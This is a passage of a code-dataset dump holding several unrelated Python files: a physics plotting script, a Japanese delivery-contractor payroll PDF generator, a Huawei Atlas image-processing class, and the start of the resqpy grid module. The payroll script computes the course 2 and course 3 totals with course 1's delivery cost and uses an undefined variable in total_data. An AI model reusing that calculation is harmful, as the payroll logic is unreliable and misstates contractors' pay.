GeV',\n# attribute = lambda event, sample:event.top1_pt,\n# binning=[3,0,600],\n# ))\n#\n# plots.append(Plot(\n# name = \"top_cand1_mass\", texX = 'M(t cand1) (GeV)', texY = 'Number of Events / 15 GeV',\n# attribute = lambda event, sample:event.top1_mass,\n# binning=[20,0,300],\n# ))\n#\n# plots.append(Plot(\n# name = \"top_cand1_phi\", texX = '#phi(t cand1)', texY = 'Number of Events',\n# attribute = lambda event, sample:event.top1_phi,\n# binning=[10,-pi,pi],\n# ))\n#\n# plots.append(Plot(\n# name = \"top_cand2_pt\", texX = 'p_{T}(t cand2) (GeV)', texY = 'Number of Events / 30 GeV',\n# attribute = lambda event, sample:event.top2_pt,\n# binning=[20,0,600],\n# ))\n#\n# plots.append(Plot(\n# name = \"top_cand2_mass\", texX = 'p_{T}(t cand2) (GeV)', texY = 'Number of Events / 15 GeV',\n# attribute = lambda event, sample:event.top2_mass,\n# binning=[20,0,300],\n# ))\n#\n# plots.append(Plot(\n# name = \"top_cand2_phi\", texX = '#phi(t cand1)', texY = 'Number of Events',\n# attribute = lambda event, sample:event.top2_phi,\n# binning=[10,-pi,pi],\n# ))\n\n plotting.fill(plots, read_variables = read_variables, sequence = sequence)\n\n # Get normalization yields from yield histogram\n for plot in plots:\n if plot.name == \"yield\":\n for i, l in enumerate(plot.histos):\n for j, h in enumerate(l):\n yields[mode][plot.stack[i][j].name] = h.GetBinContent(h.FindBin(0.5+index))\n h.GetXaxis().SetBinLabel(1, \"#mu#mu#mu\")\n h.GetXaxis().SetBinLabel(2, \"#mu#mue\")\n h.GetXaxis().SetBinLabel(3, \"#muee\")\n h.GetXaxis().SetBinLabel(4, \"eee\")\n if args.noData: yields[mode][\"data\"] = 0\n\n yields[mode][\"MC\"] = sum(yields[mode][s.name] for s in mc)\n dataMCScale = yields[mode][\"data\"]/yields[mode][\"MC\"] if yields[mode][\"MC\"] != 0 else float('nan')\n\n drawPlots(plots, mode, dataMCScale)\n allPlots[mode] = plots\n\n# Add the different channels into SF and all\nfor mode in [\"comb1\",\"comb2\",\"all\"]:\n yields[mode] = {}\n for y in yields[allModes[0]]:\n try: yields[mode][y] = sum(yields[c][y] for c in ['eee','muee','mumue', 'mumumu'])\n except: yields[mode][y] = 0\n dataMCScale = yields[mode][\"data\"]/yields[mode][\"MC\"] if yields[mode][\"MC\"] != 0 else float('nan')\n \n for plot in allPlots['mumumu']:\n if mode==\"comb1\":\n tmp = allPlots['mumue']\n elif mode==\"comb2\":\n tmp = allPlots['muee']\n else:\n tmp = allPlots['eee']\n for plot2 in (p for p in tmp if p.name == plot.name):\n for i, j in enumerate(list(itertools.chain.from_iterable(plot.histos))):\n for k, l in enumerate(list(itertools.chain.from_iterable(plot2.histos))):\n if i==k:\n j.Add(l)\n \n if mode == \"all\": drawPlots(allPlots['mumumu'], mode, dataMCScale)\n\nlogger.info( \"Done with prefix %s and selectionString %s\", args.selection, cutInterpreter.cutString(args.selection) )\n\n","sub_path":"plots/plotsRobert/reco/analysisPlots.py","file_name":"analysisPlots.py","file_ext":"py","file_size_in_byte":32693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"96085001","text":"# これが実行ファイル\n\n#pdfをテンプレートから読み込んで追記して別ファイルに保存\nimport datetime\nfrom PyPDF2 import PdfFileWriter, PdfFileReader\nimport io\nfrom reportlab.pdfgen import canvas\nfrom reportlab.lib.pagesizes import letter\nfrom reportlab.pdfbase import pdfmetrics\nfrom reportlab.pdfbase.cidfonts import UnicodeCIDFont\nfrom itaku_data import itaku_master\nfrom itaku_class import itaku_sum\nfrom course_class import course_info\n\n\n\n# 委託コードを引数にインスタンス化するとその人の給与が印刷される\nclass Itaku_pdf:\n def __init__(self,itaku_num):\n self.name = itaku_num\n\n def pdf_print(self):\n # PDFを日本語で使えるように登録\n pdfmetrics.registerFont(UnicodeCIDFont(\"HeiseiMin-W3\"))\n\n packet = io.BytesIO()\n\n # 書き込む準備\n can = canvas.Canvas(packet, pagesize=letter)\n\n\n # 今日を取得\n today = datetime.datetime.today()\n # 当月1日の値を出す\n thismonth = datetime.datetime(today.year, today.month, 1)\n # 前月末日の値を出す\n lastmonth = thismonth + datetime.timedelta(days=-1)\n # フォーマットを指定して、年月だけ拾う\n month = lastmonth.strftime(\"%Y年%m月度\")\n info = itaku_master(self.name)\n itaku_name = info.itaku_name()\n itaku_memo = info.memo()\n # コースごとの合計本数\n course1 = itaku_sum(info.course1()).sum()\n course2 = itaku_sum(info.course2()).sum()\n course3 = itaku_sum(info.course3()).sum()\n # コースの情報取得\n course_name1 = course_info(info.course1())\n course_name2 = course_info(info.course2())\n course_name3 = course_info(info.course3())\n\n # 委託者の情報反映\n car = info.car()\n tanka = info.tanka()\n sonota = int(info.sonota())\n information = info.information()\n\n if car == \"あり\":\n car_cost = carcost\n else:\n car_cost = 0\n\n\n # 書き込む内容を記載\n can.setFont(\"HeiseiMin-W3\", 11)\n # 委託番号\n can.drawString(240, 740, self.name)\n # 名前\n can.drawString(273, 740, itaku_name)\n # 対象月\n can.drawString(360, 740, month)\n #その他金額\n can.drawString(475, 235, str(sonota) + \"円\")\n #その他内容\n can.setFont(\"HeiseiMin-W3\", 10)\n itaku_memos = itaku_memo.split('¥n')\n # メモの改行位置変更のためのy変数\n y = 253\n for i in itaku_memos:\n can.drawString(80, y, i)\n y = y - 10\n\n #連絡事項内容\n infos = information.split('¥n')\n # 連絡事項内容のy変数\n y2 = 155\n for i in infos:\n can.drawString(80, y2, i)\n y2 = y2 - 10\n\n\n\n can.setFont(\"HeiseiMin-W3\", 14)\n # コース1名\n can.drawString(90, 670, course_name1.course_name())\n\n can.setFont(\"HeiseiMin-W3\", 11)\n # 単価表示\n can.drawString(120, 630, str(tanka) + \"円/本\")\n # コース1の合計本数\n can.drawString(220, 630, str(course1) + \"本\")\n # コース1の距離\n can.drawString(283, 630, course_name1.course_kyori() + \"km\")\n # コース1の配達料\n haitatsu_cost = tanka * course1\n can.drawString(325, 670, str(haitatsu_cost) + \"円\")\n\n # 車両費単価\n can.drawString(400, 630, str(car_cost)+\"円/km\")\n\n car_total = car_cost * int(course_name1.course_kyori())\n #コース1の配達回数今だけ指定\n course_time1 = course_name1.course_week()\n time1 = weeks[course_time1]\n #コース1の車両費トータル\n can.drawString(400, 670, str(car_total * time1) + \"円\")\n\n\n # コース1の配達委託料\n course1_total = haitatsu_cost + (car_total * time1)\n can.drawString(470, 670, str(course1_total) + \"円\")\n\n #コース1の配達回数を出力\n can.drawString(350, 630, str(time1) + \"回\")\n\n\n\n\n can.setFont(\"HeiseiMin-W3\", 14)\n # コース2名\n can.drawString(90, 575, course_name2.course_name())\n\n can.setFont(\"HeiseiMin-W3\", 11)\n # 単価表示\n can.drawString(120, 538, str(tanka) + \"円/本\")\n # コース2の合計本数\n can.drawString(220, 538, str(course2) + \"本\")\n # コース2の距離\n can.drawString(283, 538, course_name2.course_kyori() + \"km\")\n # コース2の配達料\n haitatsu_cost2 = tanka * course2\n can.drawString(325, 575, str(haitatsu_cost2) + \"円\")\n\n # 車両費単価\n can.drawString(400, 538, str(car_cost)+\"円/km\")\n\n car_total2 = car_cost * int(course_name2.course_kyori())\n #コース2の配達回数今だけ指定\n course_time2 = course_name2.course_week()\n time2 = weeks[course_time2]\n #コース2の車両費トータル\n can.drawString(400, 575, str(car_total2 * time2) + \"円\")\n\n\n # コース2の配達委託料\n course2_total = haitatsu_cost + (car_total2 * time2)\n can.drawString(470, 575, str(course2_total) + \"円\")\n\n #コース2の配達回数を出力\n can.drawString(350, 538, str(time2) + \"回\")\n\n\n\n\n can.setFont(\"HeiseiMin-W3\", 14)\n # コース3名\n can.drawString(90, 484, course_name3.course_name())\n\n can.setFont(\"HeiseiMin-W3\", 11)\n # 単価表示\n can.drawString(120, 444, str(tanka) + \"円/本\")\n # コース3の合計本数\n can.drawString(220, 444, str(course3) + \"本\")\n # コース3の距離\n can.drawString(283, 444, course_name3.course_kyori() + \"km\")\n # コース3の配達料\n haitatsu_cost3 = tanka * course3\n can.drawString(325, 484, str(haitatsu_cost3) + \"円\")\n\n # 車両費単価\n can.drawString(400, 444, str(car_cost)+\"円/km\")\n\n car_total3 = car_cost * int(course_name3.course_kyori())\n #コース3の配達回数今だけ指定\n course_time3 = course_name3.course_week()\n time3 = weeks[course_time3]\n #コース3の車両費トータル\n can.drawString(400, 484, str(car_total3 * time3) + \"円\")\n\n\n # コース2の配達委託料\n course3_total = haitatsu_cost + (car_total3 * time3)\n can.drawString(470, 484, str(course3_total) + \"円\")\n\n #コース3の配達回数を出力\n can.drawString(350, 444, str(time3) + \"回\")\n\n\n #全ての合計を出力\n kyuyo_total = course1_total + course2_total + course3_total + sonota\n can.drawString(460, 740, str(kyuyo_total) + \"円\")\n\n can.save()\n\n packet.seek(0)\n new_pdf = PdfFileReader(packet)\n\n # テンプレートのPDFを読み込む\n existing_pdf = PdfFileReader(open(\"templete.pdf\", \"rb\"))\n\n output = PdfFileWriter()\n page = existing_pdf.getPage(0)\n page2 = new_pdf.getPage(0)\n page.mergePage(page2)\n output.addPage(page)\n pdf_name = self.name + \"kyuyo.pdf\"\n outputStream = open(pdf_name, \"wb\")\n output.write(outputStream)\n outputStream.close()\n\n\n # 合計値の値のみを出力する\n def total_data(self):\n\n info = itaku_master(self.name)\n itaku_name = info.itaku_name()\n # コースごとの合計本数\n course1 = itaku_sum(info.course1()).sum()\n course2 = itaku_sum(info.course2()).sum()\n course3 = itaku_sum(info.course3()).sum()\n # コースの情報取得\n course_name1 = course_info(info.course1())\n course_name2 = course_info(info.course2())\n course_name3 = course_info(info.course3())\n\n # 委託者の情報反映\n car = info.car()\n tanka = info.tanka()\n sonota = int(info.sonota())\n\n\n # コース1の配達料\n haitatsu_cost = tanka * course1\n\n car_total = car_cost * int(course_name1.course_kyori())\n #コース1の配達回数今だけ指定\n course_time1 = course_name1.course_week()\n time1 = weeks[course_time1]\n\n\n # コース1の配達委託料\n course1_total = haitatsu_cost + (car_total * time1)\n\n\n\n # コース2の配達料\n haitatsu_cost2 = tanka * course2\n\n\n\n car_total2 = car_cost * int(course_name2.course_kyori())\n #コース2の配達回数今だけ指定\n course_time2 = course_name2.course_week()\n time2 = weeks[course_time2]\n\n # コース2の配達委託料\n course2_total = haitatsu_cost + (car_total2 * time2)\n\n # コース3の配達料\n haitatsu_cost3 = tanka * course3\n\n\n car_total3 = car_cost * int(course_name3.course_kyori())\n #コース3の配達回数今だけ指定\n course_time3 = course_name3.course_week()\n time3 = weeks[course_time3]\n\n\n # コース3の配達委託料\n course3_total = haitatsu_cost + (car_total3 * time3)\n\n\n #全ての合計を出力\n kyuyo_total = course1_total + course2_total + course3_total + sonota\n sums = {itaku_name:kyuyo_total}\n # total_sum{itaku_name} = kyuyo_total\n total_sum.update(sums)\n\n\n\ntotal_sum = {}\n\ncarcost = int(input(\"車両費を半角数字で入力\"))\ngetsumoku = int(input('月木の回数を入力'))\nkakin = int(input('火金の回数を入力'))\ngetsu = int(input('月の回数を入力'))\nka = int(input('火の回数を入力'))\nmoku = int(input('木の回数を入力'))\nkin = int(input('金の回数を入力'))\nweeks = {\"月木\":getsumoku,\"火金\":kakin,\"月\":getsu,\"火\":ka,\"木\":moku,\"金\":kin}\n\n# 委託番号を入力して委託の給与明細を出力\nhiroshi = Itaku_pdf(\"458\")\n\nhiroshi.pdf_print()\n\n\n# # 委託の人すべての合計値を出力\n# hiroshi.total_data()\n#\n# for k, v in total_sum.items():\n# print(k + \"さん\")\n# print(str(v) + \"円\")\n","sub_path":"itaku_pdf.py","file_name":"itaku_pdf.py","file_ext":"py","file_size_in_byte":10017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"98211543","text":"# Copyright 2017 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n# Copyright 2021 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport numpy as np\nimport acl\nimport atlas_utils.utils as utils\nfrom atlas_utils.acl_image import AclImage\nfrom atlas_utils.acl_logger import log_error, log_info\nfrom atlas_utils.resource_list import resource_list\nimport atlas_utils.constants as constants\n\n\nclass Dvpp(object):\n \"\"\"\n dvpp class\n \"\"\"\n\n def __init__(self, acl_resource=None):\n if acl_resource is None:\n self._stream, ret = acl.rt.create_stream()\n utils.check_ret(\"acl.rt.create_stream\", ret)\n self._run_mode, ret = acl.rt.get_run_mode()\n utils.check_ret(\"acl.rt.get_run_mode\", ret)\n else:\n self._stream = acl_resource.stream\n self._run_mode = acl_resource.run_mode\n self._dvpp_channel_desc = None\n self._crop_config = None\n self._paste_config = None\n\n self._init_resource()\n\n # Dvpp involves acl resources, which need to be released \\\n # before the acl ends when the program exits, \\\n # register here to the resource table to ensure the release timing\n self._is_destroyed = False\n resource_list.register(self)\n\n def _init_resource(self):\n # Create dvpp channel\n self._dvpp_channel_desc = acl.media.dvpp_create_channel_desc()\n ret = acl.media.dvpp_create_channel(self._dvpp_channel_desc)\n utils.check_ret(\"acl.media.dvpp_create_channel\", ret)\n\n # Create a resize configuration\n self._resize_config = acl.media.dvpp_create_resize_config()\n\n # Create yuv to jpeg configuration\n self._jpege_config = acl.media.dvpp_create_jpege_config()\n ret = acl.media.dvpp_set_jpege_config_level(self._jpege_config, 100)\n utils.check_ret(\"acl.media.dvpp_set_jpege_config_level\", ret)\n\n def _gen_input_pic_desc(self, image,\n width_align_factor=16, height_align_factor=2):\n # Create input image\n stride_width = utils.align_up(image.width, width_align_factor)\n stride_height = utils.align_up(image.height, height_align_factor)\n\n pic_desc = acl.media.dvpp_create_pic_desc()\n acl.media.dvpp_set_pic_desc_data(pic_desc, image.data())\n acl.media.dvpp_set_pic_desc_format(\n pic_desc, constants.PIXEL_FORMAT_YUV_SEMIPLANAR_420)\n acl.media.dvpp_set_pic_desc_width(pic_desc, image.width)\n acl.media.dvpp_set_pic_desc_height(pic_desc, image.height)\n acl.media.dvpp_set_pic_desc_width_stride(pic_desc, stride_width)\n acl.media.dvpp_set_pic_desc_height_stride(pic_desc, stride_height)\n acl.media.dvpp_set_pic_desc_size(pic_desc, image.size)\n\n return pic_desc\n\n def _gen_output_pic_desc(self, width, height,\n output_buffer, output_buffer_size,\n width_align_factor=16, height_align_factor=2):\n # Create output image\n stride_width = utils.align_up(width, width_align_factor)\n stride_height = utils.align_up(height, height_align_factor)\n\n pic_desc = acl.media.dvpp_create_pic_desc()\n acl.media.dvpp_set_pic_desc_data(pic_desc, output_buffer)\n acl.media.dvpp_set_pic_desc_format(\n pic_desc, constants.PIXEL_FORMAT_YUV_SEMIPLANAR_420)\n acl.media.dvpp_set_pic_desc_width(pic_desc, width)\n acl.media.dvpp_set_pic_desc_height(pic_desc, height)\n acl.media.dvpp_set_pic_desc_width_stride(pic_desc, stride_width)\n acl.media.dvpp_set_pic_desc_height_stride(pic_desc, stride_height)\n acl.media.dvpp_set_pic_desc_size(pic_desc, output_buffer_size)\n\n return pic_desc\n\n def _stride_yuv_size(self, width, height,\n width_align_factor=16, height_align_factor=2):\n stride_width = utils.align_up(width, width_align_factor)\n stride_height = utils.align_up(height, height_align_factor)\n stride_size = utils.yuv420sp_size(stride_width, stride_height)\n\n return stride_width, stride_height, stride_size\n\n def jpegd(self, image):\n \"\"\"\n jepg image to yuv image\n \"\"\"\n # Create conversion output image desc\n output_desc, out_buffer = self._gen_jpegd_out_pic_desc(image)\n ret = acl.media.dvpp_jpeg_decode_async(self._dvpp_channel_desc,\n image.data(),\n image.size,\n output_desc,\n self._stream)\n if ret != constants.ACL_ERROR_NONE:\n log_error(\"dvpp_jpeg_decode_async failed ret={}\".format(ret))\n return None\n\n ret = acl.rt.synchronize_stream(self._stream)\n if ret != constants.ACL_ERROR_NONE:\n log_error(\"dvpp_jpeg_decode_async failed ret={}\".format(ret))\n return None\n\n # Return the decoded AclImage instance\n stride_width = utils.align_up128(image.width)\n stride_height = utils.align_up16(image.height)\n stride_size = utils.yuv420sp_size(stride_width, stride_height)\n return AclImage(out_buffer, stride_width,\n stride_height, stride_size, constants.MEMORY_DVPP)\n\n def _gen_jpegd_out_pic_desc(self, image):\n # Predict the memory size required to decode jpeg into yuv pictures\n ret, out_buffer_size = self._get_jpegd_memory_size(image)\n if not ret:\n return None\n # Apply for memory for storing decoded yuv pictures\n out_buffer, ret = acl.media.dvpp_malloc(out_buffer_size)\n if ret != constants.ACL_ERROR_NONE:\n log_error(\"Dvpp malloc failed, error: \", ret)\n return None\n # Create output image desc\n pic_desc = self._gen_output_pic_desc(\n image.width,\n image.height,\n out_buffer,\n out_buffer_size,\n width_align_factor=128,\n height_align_factor=16)\n return pic_desc, out_buffer\n\n def _get_jpegd_memory_size(self, image):\n if image.is_local():\n size, ret = acl.media.dvpp_jpeg_predict_dec_size(\n image.data(), image.size, constants.PIXEL_FORMAT_YUV_SEMIPLANAR_420)\n if ret != constants.ACL_ERROR_NONE:\n log_error(\"Predict jpeg decode size failed, return \", ret)\n return False, 0\n return True, size\n else:\n return True, int(\n utils.yuv420sp_size(\n image.width, image.height) * 3)\n\n def resize(self, image, resize_width, resize_height):\n \"\"\"\n Scale yuvsp420 picture to specified size\n \"\"\"\n # Generate input picture desc\n input_desc = self._gen_input_pic_desc(image)\n # Calculate the image size after scaling\n stride_width = utils.align_up16(resize_width)\n stride_height = utils.align_up2(resize_height)\n output_size = utils.yuv420sp_size(stride_width, stride_height)\n # Request memory for the zoomed picture\n out_buffer, ret = acl.media.dvpp_malloc(output_size)\n if ret != constants.ACL_ERROR_NONE:\n log_error(\"Dvpp malloc failed, error: \", ret)\n return None\n # Create output image\n output_desc = self._gen_output_pic_desc(resize_width, resize_height,\n out_buffer, output_size)\n if output_desc is None:\n log_error(\"Gen resize output desc failed\")\n return None\n # Call dvpp asynchronous zoom interface to zoom pictures\n ret = acl.media.dvpp_vpc_resize_async(self._dvpp_channel_desc,\n input_desc,\n output_desc,\n self._resize_config,\n self._stream)\n if ret != constants.ACL_ERROR_NONE:\n log_error(\"Vpc resize async failed, error: \", ret)\n return None\n # Wait for the zoom operation to complete\n ret = acl.rt.synchronize_stream(self._stream)\n if ret != constants.ACL_ERROR_NONE:\n log_error(\"Resize synchronize stream failed, error: \", ret)\n return None\n # Release the resources requested for scaling\n acl.media.dvpp_destroy_pic_desc(input_desc)\n acl.media.dvpp_destroy_pic_desc(output_desc)\n return AclImage(out_buffer, stride_width,\n stride_height, output_size, constants.MEMORY_DVPP)\n\n def _gen_resize_out_pic_desc(self, resize_width,\n resize_height, output_size):\n out_buffer, ret = acl.media.dvpp_malloc(output_size)\n if ret != constants.ACL_ERROR_NONE:\n log_error(\"Dvpp malloc failed, error: \", ret)\n return None\n pic_desc = self._gen_output_pic_desc(resize_width, resize_height,\n out_buffer, output_size)\n return pic_desc, out_buffer\n\n def crop_and_paste(\n self,\n image,\n width,\n height,\n crop_and_paste_width,\n crop_and_paste_height):\n \"\"\"\n crop_and_paste\n \"\"\"\n # print('[Dvpp] vpc crop and paste stage:')\n input_desc = self._gen_input_pic_desc(image)\n stride_width = utils.align_up16(crop_and_paste_width)\n stride_height = utils.align_up2(crop_and_paste_height)\n out_buffer_size = utils.yuv420sp_size(stride_width, stride_height)\n out_buffer, ret = acl.media.dvpp_malloc(out_buffer_size)\n output_desc = self._gen_output_pic_desc(\n crop_and_paste_width,\n crop_and_paste_height,\n out_buffer,\n out_buffer_size)\n self._crop_config = acl.media.dvpp_create_roi_config(\n 0, (width >> 1 << 1) - 1, 0, (height >> 1 << 1) - 1)\n # set crop area:\n rx = float(width) / float(crop_and_paste_width)\n ry = float(height) / float(crop_and_paste_height)\n if rx > ry:\n dx = 0\n r = rx\n dy = int((crop_and_paste_height - height / r) / 2)\n else:\n dy = 0\n r = ry\n dx = int((crop_and_paste_width - width / r) / 2)\n pasteRightOffset = int(crop_and_paste_width - 2 * dx)\n pasteBottomOffset = int(crop_and_paste_height - 2 * dy)\n if (pasteRightOffset % 2) == 0:\n pasteRightOffset = pasteRightOffset - 1\n if (pasteBottomOffset % 2) == 0:\n pasteBottomOffset = pasteBottomOffset - 1\n self._paste_config = acl.media.dvpp_create_roi_config(\n 0, pasteRightOffset, 0, pasteBottomOffset)\n ret = acl.media.dvpp_vpc_crop_and_paste_async(self._dvpp_channel_desc,\n input_desc,\n output_desc,\n self._crop_config,\n self._paste_config,\n self._stream)\n utils.check_ret(\"acl.media.dvpp_vpc_crop_and_paste_async\", ret)\n ret = acl.rt.synchronize_stream(self._stream)\n utils.check_ret(\"acl.rt.synchronize_stream\", ret)\n # print('[Dvpp] vpc crop and paste stage success')\n stride_width = utils.align_up16(crop_and_paste_width)\n stride_height = utils.align_up2(crop_and_paste_height)\n\n return AclImage(out_buffer, stride_width,\n stride_height, out_buffer_size, constants.MEMORY_DVPP)\n\n def crop_and_paste_get_roi(\n self,\n image,\n width,\n height,\n crop_and_paste_width,\n crop_and_paste_height):\n \"\"\"\n :image: input image\n :width: input image width\n :height: input image height\n :crop_and_paste_width: crop_and_paste_width\n :crop_and_paste_height: crop_and_paste_height\n :return: return AclImage\n \"\"\"\n # print('[Dvpp] vpc crop and paste stage:')\n input_desc = self._gen_input_pic_desc(image)\n stride_width = utils.align_up16(crop_and_paste_width)\n stride_height = utils.align_up2(crop_and_paste_height)\n out_buffer_size = utils.yuv420sp_size(stride_width, stride_height)\n out_buffer, ret = acl.media.dvpp_malloc(out_buffer_size)\n output_desc = self._gen_output_pic_desc(\n crop_and_paste_width,\n crop_and_paste_height,\n out_buffer,\n out_buffer_size)\n self._crop_config = acl.media.dvpp_create_roi_config(\n 0, (width >> 1 << 1) - 1, 0, (height >> 1 << 1) - 1)\n self._paste_config = acl.media.dvpp_create_roi_config(\n 0, crop_and_paste_width - 1, 0, crop_and_paste_height - 1)\n ret = acl.media.dvpp_vpc_crop_and_paste_async(self._dvpp_channel_desc,\n input_desc,\n output_desc,\n self._crop_config,\n self._paste_config,\n self._stream)\n utils.check_ret(\"acl.media.dvpp_vpc_crop_and_paste_async\", ret)\n ret = acl.rt.synchronize_stream(self._stream)\n utils.check_ret(\"acl.rt.synchronize_stream\", ret)\n # print('[Dvpp] vpc crop and paste stage success')\n stride_width = utils.align_up16(crop_and_paste_width)\n stride_height = utils.align_up2(crop_and_paste_height)\n return AclImage(out_buffer, stride_width,\n stride_height, out_buffer_size, constants.MEMORY_DVPP)\n\n def jpege(self, image):\n \"\"\"\n Convert yuv420sp pictures to jpeg pictures\n \"\"\"\n # create input image\n input_desc = self._gen_input_pic_desc(image)\n # Predict the memory size required for conversion\n output_size, ret = acl.media.dvpp_jpeg_predict_enc_size(\n input_desc, self._jpege_config)\n if (ret != constants.ACL_ERROR_NONE):\n log_error(\"Predict jpege output size failed\")\n return None\n # Request memory required for conversion\n output_buffer, ret = acl.media.dvpp_malloc(output_size)\n if (ret != constants.ACL_ERROR_NONE):\n log_error(\"Malloc jpege output memory failed\")\n return None\n output_size_array = np.array([output_size], dtype=np.int32)\n output_size_ptr = acl.util.numpy_to_ptr(output_size_array)\n\n # Call jpege asynchronous interface to convert pictures\n ret = acl.media.dvpp_jpeg_encode_async(self._dvpp_channel_desc,\n input_desc, output_buffer,\n output_size_ptr,\n self._jpege_config,\n self._stream)\n if (ret != constants.ACL_ERROR_NONE):\n log_error(\"Jpege failed, ret \", ret)\n return None\n # Wait for the conversion to complete\n ret = acl.rt.synchronize_stream(self._stream)\n if (ret != constants.ACL_ERROR_NONE):\n print(\"Jpege synchronize stream, failed, ret \", ret)\n return None\n # Release resources\n acl.media.dvpp_destroy_pic_desc(input_desc)\n return AclImage(\n output_buffer, image.width, image.height, int(\n output_size_array[0]), constants.MEMORY_DVPP)\n\n def destroy(self):\n \"\"\"\n dvpp resource release\n \"\"\"\n if self._is_destroyed:\n return\n\n if self._resize_config:\n acl.media.dvpp_destroy_resize_config(self._resize_config)\n\n if self._dvpp_channel_desc:\n acl.media.dvpp_destroy_channel(self._dvpp_channel_desc)\n acl.media.dvpp_destroy_channel_desc(self._dvpp_channel_desc)\n\n if self._jpege_config:\n acl.media.dvpp_destroy_jpege_config(self._jpege_config)\n self._is_destroyed = True\n resource_list.unregister(self)\n log_info(\"dvpp resource release success\")\n\n def __del__(self):\n self.destroy()\n","sub_path":"3_inference/code/src/atlas_utils/acl_dvpp.py","file_name":"acl_dvpp.py","file_ext":"py","file_size_in_byte":17575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"356315817","text":"\"\"\"grid.py: Resqml grid module handling IJK cartesian grids.\"\"\"\n\n# note: only IJK Grid format supported at present\n# see also rq_import.py\n\nversion = '2nd July 2021'\n\n# Nexus is a registered trademark of the Halliburton Company\n\nimport logging\nlog = logging.getLogger(__name__)\nlog.debug('grid.py version ' + version)\n\nimport pandas as pd\nimport numpy as np\nimport numpy.ma as ma\n# import xml.etree.ElementTree as et\n# from lxml import etree as et\n\nfrom resqpy.olio.base import BaseResqpy\nimport resqpy.olio.transmission as rqtr\nimport resqpy.olio.fine_coarse as fc\nimport resqpy.olio.vector_utilities as vec\nimport resqpy.olio.grid_functions as gf\nimport resqpy.olio.write_data as wd\nimport resqpy.olio.point_inclusion as pip\nimport resqpy.olio.volume as vol\nimport resqpy.olio.uuid as bu\nimport resqpy.olio.weights_and_measures as bwam\nimport resqpy.olio.xml_et as rqet\nimport resqpy.olio.write_hdf5 as rwh5\nimport resqpy.olio.trademark as tm\nfrom resqpy.olio.xml_namespaces import curly_namespace as ns\n\nimport resqpy.property as rprop\nimport resqpy.fault as rqf\n\n\nalways_write_pillar_geometry_is_defined_array = False\nalways_write_cell_geometry_is_defined_array = False\n\n\n# 'private' function\n\ndef _add_to_kelp_list(extent_kji, kelp_list, face_axis, ji):\n \"\"\"\n :meta private:\n \"\"\"\n if isinstance(face_axis, bool): face_axis = 'J' if face_axis else 'I'\n # ignore external faces\n if face_axis == 'J':\n if ji[0] < 0 or ji[0] >= extent_kji[1] - 1: return\n elif face_axis == 'I':\n if ji[1] < 0 or ji[1] >= extent_kji[2] - 1: return\n else: # ji is actually kj or ki\n assert face_axis == 'K'\n if ji[0] < 0 or ji[0] >= extent_kji[0] - 1: return\n pair = ji\n if pair in kelp_list: return # avoid duplication\n kelp_list.append(pair)\n\n\n\nclass Grid(BaseResqpy):\n \"\"\"Class for RESQML Grid (extent and geometry) within RESQML model object.\"\"\"\n\n resqml_type = 'IjkGridRepresentation'\n\n def __init__(self, parent_model, uuid = None, grid_root = None,\n find_properties = True, geometry_required = True,\n title = None, originator = None, extra_metadata = {}):\n \"\"\"Create a Grid object and optionally populate from xml tree.\n\n arguments:\n parent_model (model.Model object): the model which this grid is part of\n uuid (uuid.UUID, optional): if present, the new grid object is populated from the RESQML object\n grid_root (DEPRECATED): use uuid instead; the root of the xml tree for the grid part\n find_properties (boolean, default True): if True and uuid (or grid_root) is present, a\n grid property collection is instantiated as an attribute, holding properties for which\n this grid is the supporting representation\n geometry_required (boolean, default True): if True and no geometry node exists in the xml,\n an assertion error is raised; ignored if uuid is None (and grid_root is None)\n title (str, optional): citation title for new grid; ignored if loading from xml\n originator (str, optional): name of person creating the grid; defaults to login id;\n ignored if loading from xml\n extra_metadata (dict, optional): dictionary of extra metadata items to add to the grid;\n ignored if loading from xml\n\n returns:\n a newly created Grid object\n\n notes:\n only IJK grids are handled at the moment (the resqml standard also defines 5 other varieties)\n\n :meta common:\n \"\"\"\n\n # note: currently only handles IJK grids\n # todo: check grid_root, if passed, is for an IJK grid\n self.parent_grid_uuid = None #: parent grid when this is a local grid\n self.parent_window = None #: FineCoarse cell index mapping info between self and parent grid\n self.is_refinement = None #: True indicates self is a refinement wrt. parent; False means coarsening\n self.local_grid_uuid_list = None #: LGR & LGC children list\n self.grid_representation = None #: flavour of grid, currently 'IjkGrid' or 'IjkBlockGrid'; not much used\n self.geometry_root = None #: xml node at root of geometry sub-tree\n self.extent_kji = None #: size of grid: (nk, nj, ni)\n self.ni = self.nj = self.nk = None #: duplicated extent information as individual integers\n self.nk_plus_k_gaps = None #: int: nk + k_gaps\n self.crs_uuid = None #: uuid of the coordinate reference system used by the grid's geometry\n self.crs_root = None #: xml root node for the crs used by the grid's geometry\n self.points_cached = None #: numpy array of raw points data; loaded on demand\n # Following are only relevant to structured grid varieties\n self.grid_is_right_handed = None #: boolean indicating ijk handedness\n self.k_direction_is_down = None #: boolean indicating dominant direction of k increase\n self.pillar_shape = None #: string: often 'curved' is used, even for straight pillars\n self.has_split_coordinate_lines = None #: boolean; affects dimensionality of points array\n self.split_pillars_count = None #: int\n self.k_gaps = None #: int; number of k gaps, or None\n self.k_gap_after_array = None #: 1D numpy bool array of extent nk-1, or None\n self.k_raw_index_array = None #: 1D numpy int array of extent nk, or None\n self.geometry_defined_for_all_pillars_cached = None\n self.geometry_defined_for_all_cells_cached = None\n self.xyz_box_cached 